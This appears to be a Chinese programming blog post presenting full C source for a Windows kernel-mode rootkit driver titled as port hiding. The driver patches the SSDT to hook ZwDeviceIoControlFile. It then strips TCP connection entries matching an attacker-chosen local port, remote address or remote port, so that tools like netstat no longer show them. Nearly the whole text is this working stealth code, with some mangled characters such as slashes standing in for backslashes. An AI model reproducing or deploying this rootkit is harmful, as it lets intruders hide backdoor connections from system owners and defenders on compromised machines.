VC实现Rootkit端口隐藏

#include "ntddk.h"
#include <stdio.h>
#include <tdiinfo.h>
#include <tdistat.h>
#include "netType.h"

#define NT_DEVICE_NAME L"//Device//HidePort"
#define DOS_DEVICE_NAME L"//DosDevices//HidePort"

#pragma pack(1) //SSDT表的结构
typedef struct ServiceDescriptorEntry {
 unsigned int *ServiceTableBase;
 unsigned int *ServiceCounterTableBase; //Used only in checked build
 unsigned int NumberOfServices;
 unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

//------------------------- 函数声明--------------------- [5/22/2008 WinDDK]
NTSTATUS DriverEntry(
    IN PDRIVER_OBJECT  DriverObject,
    IN PUNICODE_STRING  RegistryPath
    );

VOID OnUnload(
    IN PDRIVER_OBJECT  DriverObject
    );

//设备通讯
NTSTATUS HideProtDispatchDeviceControl(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp);

//设备打开关闭
NTSTATUS HidePortDispatchCreateClose(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp);

// ------------------------------------------------------ [5/22/2008 WinDDK]

NTSYSAPI NTSTATUS NTAPI ZwDeviceIoControlFile(
  IN HANDLE               FileHandle,
  IN HANDLE               Event OPTIONAL,
  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
  IN PVOID                ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK    IoStatusBlock,
  IN ULONG                IoControlCode,
  IN PVOID                InputBuffer OPTIONAL,
  IN ULONG                InputBufferLength,
  OUT PVOID               OutputBuffer OPTIONAL,
  IN ULONG                OutputBufferLength );

NTSTATUS NTAPI NewZwDeviceIoControlFile(
  IN HANDLE               FileHandle,
  IN HANDLE               Event OPTIONAL,
  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
  IN PVOID                ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK    IoStatusBlock,
  IN ULONG                IoControlCode,
  IN PVOID                InputBuffer OPTIONAL,
  IN ULONG                InputBufferLength,
  OUT PVOID               OutputBuffer OPTIONAL,
  IN ULONG                OutputBufferLength );

typedef NTSTATUS (*ZWDEVICECONTROLIOFILE)(
  IN HANDLE               FileHandle,
  IN HANDLE               Event OPTIONAL,
  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
  IN PVOID                ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK    IoStatusBlock,
  IN ULONG                IoControlCode,
  IN PVOID                InputBuffer OPTIONAL,
  IN ULONG                InputBufferLength,
  OUT PVOID               OutputBuffer OPTIONAL,
  IN ULONG                OutputBufferLength
  );

ZWDEVICECONTROLIOFILE OldZwDeviceIoControlFile = NULL;
PMDL m_MDL = NULL;
PVOID *m_Mapped = NULL;

__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable; //变量名是不能变的,因为是从外部导入

#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[*(PULONG)((PUCHAR)_function+1)]
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
#define HOOK_SYSCALL(_Function, _Hook, _Orig) /
       _Orig = (PVOID)InterlockedExchange((PLONG)&m_Mapped[SYSCALL_INDEX(_Function)], (LONG)_Hook)
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig )  /
      InterlockedExchange((PLONG)&m_Mapped[SYSCALL_INDEX(_Function)], (LONG)_Hook)

 

 

 

 

 

#include "HidePort.h"

#pragma alloc_text(INIT,DriverEntry)
#pragma alloc_text(PAGE,OnUnload)
#pragma alloc_text(PAGE,NewZwDeviceIoControlFile)
#pragma alloc_text(PAGE,HideProtDispatchDeviceControl)
#pragma alloc_text(PAGE,HidePortDispatchCreateClose)

VOID OnUnload(IN PDRIVER_OBJECT  DriverObject)
{
 UNICODE_STRING dosDeviceName;

 UNHOOK_SYSCALL(ZwDeviceIoControlFile,OldZwDeviceIoControlFile,NewZwDeviceIoControlFile);

 if(m_MDL){
  MmUnmapLockedPages(m_Mapped,m_MDL);
  IoFreeMdl(m_MDL);
 }

 //------删除设备对象------ [5/22/2008 WinDDK]
 RtlInitUnicodeString(&dosDeviceName, DOS_DEVICE_NAME);
 IoDeleteSymbolicLink(&dosDeviceName);
 IoDeleteDevice(DriverObject->DeviceObject);

 KdPrint(("驱动卸载完毕.../n"));
}

NTSTATUS DriverEntry(
    IN PDRIVER_OBJECT  DriverObject,
    IN PUNICODE_STRING  RegistryPath
    )
{
 NTSTATUS ntStatus = STATUS_SUCCESS;
 PDEVICE_OBJECT DeviceObject = NULL;
 UNICODE_STRING ntDeviceName, dosDeviceName;
 BOOLEAN fSymbolicLink = FALSE;

 RtlInitUnicodeString(&ntDeviceName, NT_DEVICE_NAME);

 //创建设备对象
 ntStatus = IoCreateDevice(
  DriverObject,
  0, // DeviceExtensionSize
  &ntDeviceName, // DeviceName
  FILE_DEVICE_UNKNOWN, // DeviceType
  0, // DeviceCharacteristics
  FALSE, // Exclusive
  &DeviceObject // [OUT]
  );

 if (!NT_SUCCESS(ntStatus))
 {
  KdPrint(("创建设备对象失败:%X/n", ntStatus));
  goto __failed;
 }

 RtlInitUnicodeString(&dosDeviceName, DOS_DEVICE_NAME);
 ntStatus = IoCreateSymbolicLink(&dosDeviceName, &ntDeviceName);

 if (!NT_SUCCESS(ntStatus)) {
  KdPrint(("创建符号链接失败:%X/n", ntStatus));
  goto __failed;
 }

 fSymbolicLink = TRUE;

 //指定分发
 DriverObject->MajorFunction[IRP_MJ_CREATE]         = HidePortDispatchCreateClose;
 DriverObject->MajorFunction[IRP_MJ_CLOSE]          = HidePortDispatchCreateClose;
 DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = HideProtDispatchDeviceControl;
 DriverObject->DriverUnload                         = OnUnload;

 // --------------修改SSDT------------ [5/22/2008 Admin]

 m_MDL = MmCreateMdl( NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4 );
 if(!m_MDL)
  return STATUS_UNSUCCESSFUL;

 //非分页内存
 MmBuildMdlForNonPagedPool(m_MDL);

 m_MDL->MdlFlags = m_MDL->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;

 //锁定
 m_Mapped = MmMapLockedPages(m_MDL, KernelMode);
 
 HOOK_SYSCALL(ZwDeviceIoControlFile,NewZwDeviceIoControlFile,OldZwDeviceIoControlFile);

 KdPrint(("驱动启动成功.../n"));

 return ntStatus;

__failed:

 if (fSymbolicLink)
  IoDeleteSymbolicLink(&dosDeviceName);

 if (DeviceObject)
  IoDeleteDevice(DeviceObject);

 return ntStatus;
}

//设备通讯
NTSTATUS HideProtDispatchDeviceControl(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp)
{
 NTSTATUS ntStatus;
 PIO_STACK_LOCATION IrpStack = IoGetCurrentIrpStackLocation(Irp);
 PVOID lpInBuffer = NULL;
 ULONG nInBufferSize, nOutBufferSize, dwIoControlCode;

 Irp->IoStatus.Status = STATUS_SUCCESS;
 Irp->IoStatus.Information = 0;

 //获得输入缓冲区空间地址
 lpInBuffer = Irp->AssociatedIrp.SystemBuffer;
 nInBufferSize = IrpStack->Parameters.DeviceIoControl.InputBufferLength;
 nOutBufferSize = IrpStack->Parameters.DeviceIoControl.OutputBufferLength; 

 dwIoControlCode = IrpStack->Parameters.DeviceIoControl.IoControlCode;

 switch (dwIoControlCode)
 {
 case IOCTL_SET_LOCAL_CONTROL:
  {
   HideType = 1;
   memcpy(&LocalPort,lpInBuffer,sizeof(ULONG));
   KdPrint(("设置为本地端口模式...%ld/n",LocalPort));
   break;
  }
 case IOCTL_SET_RHOST_CONTROL:
  {
   HideType = 2;
   memcpy(&RemoteHost,lpInBuffer,sizeof(ULONG));
   KdPrint(("设置为远程地址模式...0x%x/n",RemoteHost));
   break;
  }

 case IOCTL_SET_RPORT_CONTROL:
  {
   HideType = 3;
   memcpy(&RemotePort,lpInBuffer,sizeof(ULONG));
   KdPrint(("设置为远程端口模式...%ld/n",RemotePort));
   break;
  }

 default:
  Irp->IoStatus.Status = STATUS_INVALID_PARAMETER;
  break;
 }

 ntStatus = Irp->IoStatus.Status;
 IoCompleteRequest(Irp, IO_NO_INCREMENT);

 return ntStatus;
}

//设备打开关闭
NTSTATUS HidePortDispatchCreateClose(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp)
{
 NTSTATUS ntStatus;

 Irp->IoStatus.Status = STATUS_SUCCESS;
 Irp->IoStatus.Information = 0;

 ntStatus = Irp->IoStatus.Status;
 IoCompleteRequest(Irp, IO_NO_INCREMENT);

 return ntStatus;
}

NTSTATUS NTAPI NewZwDeviceIoControlFile(
          IN HANDLE               FileHandle,
          IN HANDLE               Event OPTIONAL,
          IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
          IN PVOID                ApcContext OPTIONAL,
          OUT PIO_STATUS_BLOCK    IoStatusBlock,
          IN ULONG                IoControlCode,
          IN PVOID                InputBuffer OPTIONAL,
          IN ULONG                InputBufferLength,
          OUT PVOID               OutputBuffer OPTIONAL,
          IN ULONG                OutputBufferLength
          )
{
 TCP_REQUEST_QUERY_INFORMATION_EX req;
 ULONG NumCount = 0;
 ULONG i = 0;
 TCPAddrEntry* TcpTable = NULL;
 TCPAddrExEntry* TcpTableEx = NULL;

 //调用旧函数
 NTSTATUS ntStatus = ((ZWDEVICECONTROLIOFILE)OldZwDeviceIoControlFile)(
  FileHandle,
  Event,
  ApcRoutine,
  ApcContext,
  IoStatusBlock,
  IoControlCode,
  InputBuffer,
  InputBufferLength,
  OutputBuffer,
  OutputBufferLength);

 //判断是否为查询TCP连接信息
 if (IoControlCode != IOCTL_TCP_QUERY_INFORMATION_EX)
  return ntStatus;

 //原函数返回不成功
 if (!NT_SUCCESS(ntStatus))
  return ntStatus;
 
 //获得输入缓冲区
 memcpy(&req,InputBuffer,sizeof(TDIObjectID));

 if (  (req.ID.toi_entity.tei_entity == CO_TL_ENTITY)
  &&(req.ID.toi_entity.tei_instance == 0)
  &&(req.ID.toi_class == INFO_CLASS_PROTOCOL)
  &&(req.ID.toi_type == INFO_TYPE_PROVIDER)
  ) //判断是否为端口查询
 {
  //普通查询
  if (req.ID.toi_id == TCP_MIB_ADDRTABLE_ENTRY_ID)
  {
   NumCount = IoStatusBlock->Information / sizeof(TCPAddrEntry);
   TcpTable = (TCPAddrEntry*)OutputBuffer;

   //循环链表,找到并修改需要隐藏的端口
   for(i = 0; i < NumCount; i++) {
    
    //模式为本地端口
    if (HideType == 1) {    
     if( ntohs(TcpTable[i].tae_ConnLocalPort) == LocalPort) {
      KdPrint(("普通隐藏[本地端口] %d/n", ntohs(TcpTable[i].tae_ConnLocalPort)));
      memcpy((TcpTable+i), (TcpTable+i+1), ((NumCount-i-1)*sizeof(TCPAddrEntry)));
      NumCount--;
      i--;
     }
    }

    //模式为远程地址
    if (HideType == 2) {
     if (TcpTable[i].tae_ConnRemAddress == RemoteHost) {
      KdPrint(("普通隐藏[远程地址] 0x%x/n", TcpTable[i].tae_ConnRemAddress));
      memcpy((TcpTable+i), (TcpTable+i+1), ((NumCount-i-1)*sizeof(TCPAddrEntry)));
      NumCount--;
      i--;
     }
    }

    //模式为远程端口
    if (HideType == 3) {
     if (ntohs(TcpTable[i].tae_ConnRemPort) == RemotePort) {
      KdPrint(("普通隐藏[远程端口] %d/n", ntohs(TcpTable[i].tae_ConnRemPort)));
      memcpy((TcpTable+i), (TcpTable+i+1), ((NumCount-i-1)*sizeof(TCPAddrEntry)));
      NumCount--;
      i--;
     }
    }
   }

   IoStatusBlock->Information = NumCount*sizeof(TCPAddrEntry);
  }

  //带进程PID的查询
  if (req.ID.toi_id == TCP_MIB_ADDRTABLE_ENTRY_EX_ID)
  {
   NumCount = IoStatusBlock->Information / sizeof(TCPAddrExEntry);
   TcpTableEx = (TCPAddrExEntry*)OutputBuffer;

   //循环链表
   for(i = 0; i < NumCount; i++) {

    //为本地端口模式
    if (HideType == 1) {
     if( ntohs(TcpTableEx[i].tae_ConnLocalPort) == LocalPort) {
      KdPrint(("扩展隐藏[本地端口] %d/n", ntohs(TcpTableEx[i].tae_ConnLocalPort)));
      memcpy((TcpTableEx+i), (TcpTableEx+i+1), ((NumCount-i-1)*sizeof(TCPAddrExEntry)));
      NumCount--;
      i--;
     }
    }

    //当前为远程地址模式
    if (HideType == 2) {
     if (TcpTableEx[i].tae_ConnRemAddress == RemoteHost){
      KdPrint(("扩展隐藏[远程地址] 0x%x/n", TcpTableEx[i].tae_ConnRemAddress));
      memcpy((TcpTableEx+i), (TcpTableEx+i+1), ((NumCount-i-1)*sizeof(TCPAddrExEntry)));
      NumCount--;
      i--;
     }
    }

    //远程端口模式
    if (HideType == 3) {
     if ( ntohs(TcpTableEx[i].tae_ConnRemPort) == RemotePort) {
      KdPrint(("扩展隐藏[远程端口] %d/n", ntohs(TcpTableEx[i].tae_ConnRemPort)));
      memcpy((TcpTableEx+i), (TcpTableEx+i+1), ((NumCount-i-1)*sizeof(TCPAddrExEntry)));
      NumCount--;
      i--;
     }
    }
   }

   IoStatusBlock->Information = NumCount*sizeof(TCPAddrExEntry);
  }
 }

 return ntStatus;
}

你可能感兴趣的:(function,object,String,dos,hook,winddk)